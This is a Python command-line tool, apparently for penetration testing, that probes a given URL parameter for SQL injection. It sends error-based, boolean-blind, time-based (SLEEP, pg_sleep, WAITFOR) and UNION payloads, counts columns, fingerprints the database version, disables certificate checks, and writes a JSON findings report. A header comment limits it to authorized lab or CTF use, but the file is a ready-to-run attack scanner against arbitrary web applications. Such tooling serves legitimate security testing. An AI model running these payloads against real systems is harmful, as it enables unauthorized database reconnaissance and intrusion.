#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SQL injection detection agent using requests for manual technique-based testing."""

import argparse
import json
import logging
import sys
import time
import re
from typing import Optional

try:
    import requests
except ImportError:
    sys.exit("requests is required: pip install requests")

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

SQL_ERRORS = {
    "mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
    "postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
    "mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
    "oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
    "sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
}


def detect_error_based(url: str, param: str, method: str = "GET",
                        headers: Optional[dict] = None) -> dict:
    """Inject a single quote to detect SQL errors in the response."""
    payload = "'"
    test_url, data = _build_request(url, param, payload, method)
    resp = _send(test_url, method, data, headers)

    db_type = None
    error_found = False
    for db, patterns in SQL_ERRORS.items():
        for pattern in patterns:
            if re.search(pattern, resp.text, re.IGNORECASE):
                db_type = db
                error_found = True
                break
        if error_found:
            break

    return {
        "technique": "error_based",
        "parameter": param,
        "injectable": error_found,
        "database": db_type,
        "status_code": resp.status_code,
    }


def detect_boolean_based(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None) -> dict:
    """Test boolean-based blind SQLi with true/false conditions."""
    baseline_resp = _send(*_build_request(url, param, "1", method), headers)
    true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
    false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)

    true_match = len(true_resp.content) == len(baseline_resp.content)
    false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10

    return {
        "technique": "boolean_based",
        "parameter": param,
        "injectable": true_match and false_diff,
        "baseline_length": len(baseline_resp.content),
        "true_length": len(true_resp.content),
        "false_length": len(false_resp.content),
    }


def detect_time_based(url: str, param: str, method: str = "GET",
                       headers: Optional[dict] = None, delay: int = 5) -> dict:
    """Test time-based blind SQLi with sleep functions."""
    payloads = {
        "mysql": f"1 AND SLEEP({delay})--",
        "postgresql": f"1; SELECT pg_sleep({delay})--",
        "mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
    }
    results = {}
    for db, payload in payloads.items():
        start = time.time()
        _send(*_build_request(url, param, payload, method), headers)
        elapsed = time.time() - start
        results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}

    injectable = any(r["delayed"] for r in results.values())
    detected_db = next((db for db, r in results.items() if r["delayed"]), None)

    return {
        "technique": "time_based",
        "parameter": param,
        "injectable": injectable,
        "database": detected_db,
        "delay_target": delay,
        "timing_results": results,
    }


def detect_union_columns(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None, max_cols: int = 20) -> dict:
    """Determine the number of columns for UNION-based injection."""
    for n in range(1, max_cols + 1):
        payload = f"1 ORDER BY {n}--"
        resp = _send(*_build_request(url, param, payload, method), headers)
        if resp.status_code >= 400 or "error" in resp.text.lower():
            return {"technique": "union_column_count", "parameter": param, "columns": n - 1}

    return {"technique": "union_column_count", "parameter": param, "columns": None}


def fingerprint_database(url: str, param: str, method: str = "GET",
                          headers: Optional[dict] = None) -> dict:
    """Identify the database engine using version functions."""
    version_payloads = {
        "mysql": "1 UNION SELECT @@version,NULL--",
        "postgresql": "1 UNION SELECT version(),NULL--",
        "mssql": "1 UNION SELECT @@version,NULL--",
    }
    for db, payload in version_payloads.items():
        resp = _send(*_build_request(url, param, payload, method), headers)
        if resp.status_code == 200 and len(resp.content) > 50:
            return {"database": db, "response_preview": resp.text[:200]}

    return {"database": "unknown"}


def _build_request(url: str, param: str, value: str, method: str):
    if method.upper() == "GET":
        separator = "&" if "?" in url else "?"
        return f"{url}{separator}{param}={requests.utils.quote(value)}", None
    else:
        return url, {param: value}


def _send(url: str, method: str = "GET", data: Optional[dict] = None,
           headers: Optional[dict] = None) -> requests.Response:
    h = headers or {}
    try:
        if method.upper() == "POST":
            return requests.post(url, data=data, headers=h, timeout=15, verify=False)
        return requests.get(url, headers=h, timeout=15, verify=False)
    except requests.RequestException:
        return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()


def run_assessment(url: str, param: str, method: str = "GET") -> dict:
    """Run complete SQL injection assessment."""
    error = detect_error_based(url, param, method)
    boolean = detect_boolean_based(url, param, method)
    timing = detect_time_based(url, param, method)
    columns = detect_union_columns(url, param, method) if error["injectable"] else {}

    injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
    findings = []
    if error["injectable"]:
        findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
    if boolean["injectable"]:
        findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
    if timing["injectable"]:
        findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")

    return {
        "target": url,
        "parameter": param,
        "injectable": injectable,
        "error_based": error,
        "boolean_based": boolean,
        "time_based": timing,
        "union_columns": columns,
        "findings": findings,
    }


def main():
    parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
    parser.add_argument("--url", required=True, help="Target URL")
    parser.add_argument("--param", required=True, help="Parameter to test")
    parser.add_argument("--method", default="GET", choices=["GET", "POST"])
    parser.add_argument("--output", default="sqli_report.json")
    args = parser.parse_args()

    report = run_assessment(args.url, args.param, args.method)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)
    print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
